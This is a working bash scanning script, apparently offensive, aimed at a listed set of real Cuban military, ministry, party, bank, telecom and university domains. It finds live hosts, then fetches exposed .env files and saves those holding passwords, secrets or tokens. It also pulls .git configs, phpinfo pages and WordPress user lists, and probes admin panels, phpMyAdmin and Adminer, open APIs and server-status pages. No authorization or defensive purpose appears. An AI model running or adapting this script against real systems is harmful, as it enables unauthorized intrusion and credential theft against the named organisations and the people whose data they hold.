#!/bin/bash
OUTDIR="/tmp/uni-probe"
mkdir -p "$OUTDIR"

# Combine live domains + new military/gov targets
EXTRA_DOMAINS="
far.cu
www.far.cu
minint.gob.cu
www.minint.gob.cu
minfar.gob.cu
www.minfar.gob.cu
minfar.cu
www.minfar.cu
pcc.cu
www.pcc.cu
granma.cu
www.granma.cu
cubadebate.cu
www.cubadebate.cu
presidencia.gob.cu
www.presidencia.gob.cu
gobierno.gob.cu
www.gobierno.gob.cu
minrex.gob.cu
www.minrex.gob.cu
seguridad.cu
www.seguridad.cu
cubagob.cu
mtss.gob.cu
minsap.gob.cu
mined.gob.cu
mic.gob.cu
etecsa.cu
www.etecsa.cu
juventudrebelde.cu
acn.cu
prensa-latina.cu
ssp.gob.cu
onei.gob.cu
gacetaoficial.gob.cu
tsp.gob.cu
fiscalia.gob.cu
bcc.gob.cu
bandec.cu
bpa.cu
bicsa.cu
mtz.jovenclub.cu
vlc.jovenclub.cu
hab.jovenclub.cu
cmg.jovenclub.cu
jovenclub.cu
redcuba.cu
cfg.jovenclub.cu
"

echo "=== DEEP PROBE: CUBAN UNIVERSITIES + MILITARY/GOV ==="
echo "Date: $(date -u)"

# Merge all targets
if [ -f "$OUTDIR/live-edu-domains.txt" ]; then
  cp "$OUTDIR/live-edu-domains.txt" "$OUTDIR/all-targets.txt"
else
  touch "$OUTDIR/all-targets.txt"
fi

for d in $EXTRA_DOMAINS; do
  d=$(echo "$d" | tr -d ' ')
  [ -n "$d" ] && echo "$d" >> "$OUTDIR/all-targets.txt"
done
sort -u -o "$OUTDIR/all-targets.txt" "$OUTDIR/all-targets.txt"

TOTAL=$(wc -l < "$OUTDIR/all-targets.txt")
echo "Total targets: $TOTAL"
echo ""

# Also quickly check more university subdomains that weren't in crt.sh
MORE_UNI="
moodle.uci.cu
virtual.uci.cu
gitlab.uci.cu
git.uci.cu
nexus.uci.cu
repos.uci.cu
moodle.uo.edu.cu
virtual.uo.edu.cu
gitlab.uo.edu.cu
git.uo.edu.cu
repos.uo.edu.cu
moodle.upr.edu.cu
virtual.upr.edu.cu
gitlab.upr.edu.cu
repos.upr.edu.cu
moodle.ismm.edu.cu
virtual.ismm.edu.cu
git.ismm.edu.cu
moodle.unah.edu.cu
virtual.unah.edu.cu
moodle.uho.edu.cu
virtual.uho.edu.cu
moodle.ult.edu.cu
virtual.ult.edu.cu
gitlab.ult.edu.cu
moodle.cujae.edu.cu
virtual.cujae.edu.cu
gitlab.cujae.edu.cu
repos.cujae.edu.cu
moodle.uh.cu
virtual.uh.cu
gitlab.uh.cu
repos.uh.cu
moodle.umcc.cu
virtual.umcc.cu
moodle.ucf.edu.cu
virtual.ucf.edu.cu
gitlab.ucf.edu.cu
moodle.unica.cu
virtual.unica.cu
moodle.uniss.edu.cu
virtual.uniss.edu.cu
moodle.reduc.edu.cu
virtual.reduc.edu.cu
moodle.ucm.edu.cu
virtual.ucm.edu.cu
moodle.udg.co.cu
phpmyadmin.uci.cu
phpmyadmin.uo.edu.cu
phpmyadmin.uclv.edu.cu
api.uci.cu
api.uo.edu.cu
api.uh.cu
api.cujae.edu.cu
jenkins.uci.cu
sonar.uci.cu
grafana.uci.cu
monitor.uci.cu
redmine.uci.cu
intranet.uci.cu
cloud.uci.cu
nextcloud.uci.cu
owncloud.uci.cu
correo.uo.edu.cu
correo.upr.edu.cu
correo.uho.edu.cu
correo.ult.edu.cu
correo.cujae.edu.cu
correo.ucf.edu.cu
correo.unica.cu
correo.reduc.edu.cu
correo.ucm.edu.cu
webmail.uci.cu
webmail.uo.edu.cu
webmail.uh.cu
"

echo "=== CHECKING ADDITIONAL UNIVERSITY SUBDOMAINS ==="
for d in $MORE_UNI; do
  d=$(echo "$d" | tr -d ' ')
  [ -z "$d" ] && continue
  code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 6 "https://$d/" 2>/dev/null)
  if [ "$code" = "000" ]; then
    code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 6 "http://$d/" 2>/dev/null)
  fi
  if [ "$code" != "000" ]; then
    echo "[LIVE] $d (HTTP $code)"
    echo "$d" >> "$OUTDIR/all-targets.txt"
  fi
done
sort -u -o "$OUTDIR/all-targets.txt" "$OUTDIR/all-targets.txt"
echo ""

# Check extra gov/military domain reachability
echo "=== CHECKING MILITARY/GOV REACHABILITY ==="
for d in $EXTRA_DOMAINS; do
  d=$(echo "$d" | tr -d ' ')
  [ -z "$d" ] && continue
  code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 6 "https://$d/" 2>/dev/null)
  if [ "$code" = "000" ]; then
    code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 6 "http://$d/" 2>/dev/null)
  fi
  if [ "$code" != "000" ]; then
    echo "[LIVE] $d (HTTP $code)"
  else
    echo "[DOWN] $d"
  fi
done
echo ""

TOTAL=$(wc -l < "$OUTDIR/all-targets.txt")
echo "=== TOTAL LIVE TARGETS: $TOTAL ==="
echo ""

# Now deep probe ALL targets for sensitive files
echo "=== PHASE 2: SENSITIVE FILE SCAN ==="
while IFS= read -r host; do
  [ -z "$host" ] && continue

  for proto in https http; do
    # .env check
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.env" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 20 ] 2>/dev/null; then
      if grep -qi "APP_KEY\|DB_PASSWORD\|MAIL_PASSWORD\|SECRET\|TOKEN\|REDIS\|MYSQL\|DATABASE\|PASSWORD" /tmp/probe_body 2>/dev/null; then
        safename=$(echo "$host" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/env-${safename}.txt"
        echo "[CRIT-ENV] ${proto}://${host}/.env (${size}B)"
        head -20 /tmp/probe_body
        echo "---"
      fi
    fi

    # .git/HEAD check
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/HEAD" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
      if grep -q "ref:" /tmp/probe_body 2>/dev/null; then
        echo "[CRIT-GIT] ${proto}://${host}/.git/HEAD"
        cat /tmp/probe_body
        curl -sk --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/config" > "$OUTDIR/git-config-$(echo "$host" | tr './' '_').txt" 2>/dev/null
        echo "  config saved"
      fi
    fi

    # phpinfo.php
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/phpinfo.php" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 500 ] 2>/dev/null; then
      if grep -qi "phpinfo\|PHP Version\|php.ini" /tmp/probe_body 2>/dev/null; then
        safename=$(echo "$host" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/phpinfo-${safename}.html"
        echo "[HIGH-PHPINFO] ${proto}://${host}/phpinfo.php (${size}B)"
      fi
    fi

    # wp-json/wp/v2/users (WordPress user enum)
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/wp-json/wp/v2/users" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      if grep -q '"id"' /tmp/probe_body 2>/dev/null; then
        safename=$(echo "$host" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/wp-users-${safename}.json"
        echo "[HIGH-WP] ${proto}://${host}/wp-json/wp/v2/users (${size}B)"
        python3 -c "import json; [print(f'  user: {u.get(\"slug\",\"?\")} ({u.get(\"name\",\"?\")})') for u in json.load(open('/tmp/probe_body'))]" 2>/dev/null
      fi
    fi

    # /api/ or /api/v1/ or /api/v2/ open APIs
    for apipath in "/api/" "/api/v1/" "/api/v2/" "/api/v2/users" "/graphql"; do
      resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${apipath}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1)
      size=$(echo "$resp" | cut -d'|' -f2)
      if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
        safename=$(echo "${host}${apipath}" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/api-${safename}.txt"
        echo "[API] ${proto}://${host}${apipath} (HTTP ${code}, ${size}B)"
        head -5 /tmp/probe_body
        echo "---"
      fi
    done

    # server-status (Apache)
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/server-status" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 200 ] 2>/dev/null; then
      if grep -qi "Apache Server Status\|scoreboard\|requests/sec" /tmp/probe_body 2>/dev/null; then
        safename=$(echo "$host" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/server-status-${safename}.html"
        echo "[HIGH-STATUS] ${proto}://${host}/server-status (${size}B)"
      fi
    fi

    # /admin/ or /administrator/ panels
    for adminpath in "/admin/" "/administrator/" "/panel/"; do
      resp=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 8 "${proto}://${host}${adminpath}" 2>/dev/null)
      if [ "$resp" = "200" ]; then
        echo "[ADMIN] ${proto}://${host}${adminpath} (HTTP 200 - OPEN)"
      fi
    done

    # /phpmyadmin/ check
    for pmapath in "/phpmyadmin/" "/pma/" "/adminer.php"; do
      resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${pmapath}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1)
      if [ "$code" = "200" ]; then
        if grep -qi "phpmyadmin\|adminer\|login\|database" /tmp/probe_body 2>/dev/null; then
          echo "[CRIT-PMA] ${proto}://${host}${pmapath} (HTTP 200)"
        fi
      fi
    done

    # robots.txt for hidden paths
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/robots.txt" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 20 ] 2>/dev/null; then
      if grep -qi "Disallow\|User-agent" /tmp/probe_body 2>/dev/null; then
        safename=$(echo "$host" | tr './' '_')
        cp /tmp/probe_body "$OUTDIR/robots-${safename}.txt"
        disallows=$(grep -i "disallow" /tmp/probe_body | grep -v "^#" | head -10)
        if [ -n "$disallows" ]; then
          echo "[ROBOTS] ${proto}://${host}/robots.txt"
          echo "$disallows"
        fi
      fi
    fi

    # .well-known/openid-configuration
    resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.well-known/openid-configuration" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      safename=$(echo "$host" | tr './' '_')
      cp /tmp/probe_body "$OUTDIR/oidc-${safename}.json"
      echo "[OIDC] ${proto}://${host}/.well-known/openid-configuration (${size}B)"
    fi

    # Swagger/API docs
    for docpath in "/swagger.json" "/api-docs" "/swagger-ui/" "/docs" "/redoc"; do
      resp=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${docpath}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1)
      size=$(echo "$resp" | cut -d'|' -f2)
      if [ "$code" = "200" ] && [ "$size" -gt 100 ] 2>/dev/null; then
        if grep -qi "swagger\|openapi\|paths\|api\|endpoint" /tmp/probe_body 2>/dev/null; then
          safename=$(echo "${host}${docpath}" | tr './' '_')
          cp /tmp/probe_body "$OUTDIR/apidoc-${safename}.txt"
          echo "[APIDOC] ${proto}://${host}${docpath} (${size}B)"
        fi
      fi
    done

    # If HTTPS worked, don't retry HTTP
    test_code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 3 --max-time 5 "${proto}://${host}/" 2>/dev/null)
    if [ "$test_code" != "000" ]; then
      break
    fi
  done
done < "$OUTDIR/all-targets.txt"

echo ""
echo "=== RESULTS ==="
ls -la "$OUTDIR/"
echo ""
echo "=== SAVED FILES ==="
find "$OUTDIR/" -name "*.txt" -o -name "*.json" -o -name "*.html" | while read f; do
  echo "$(wc -c < "$f")B  $f"
done
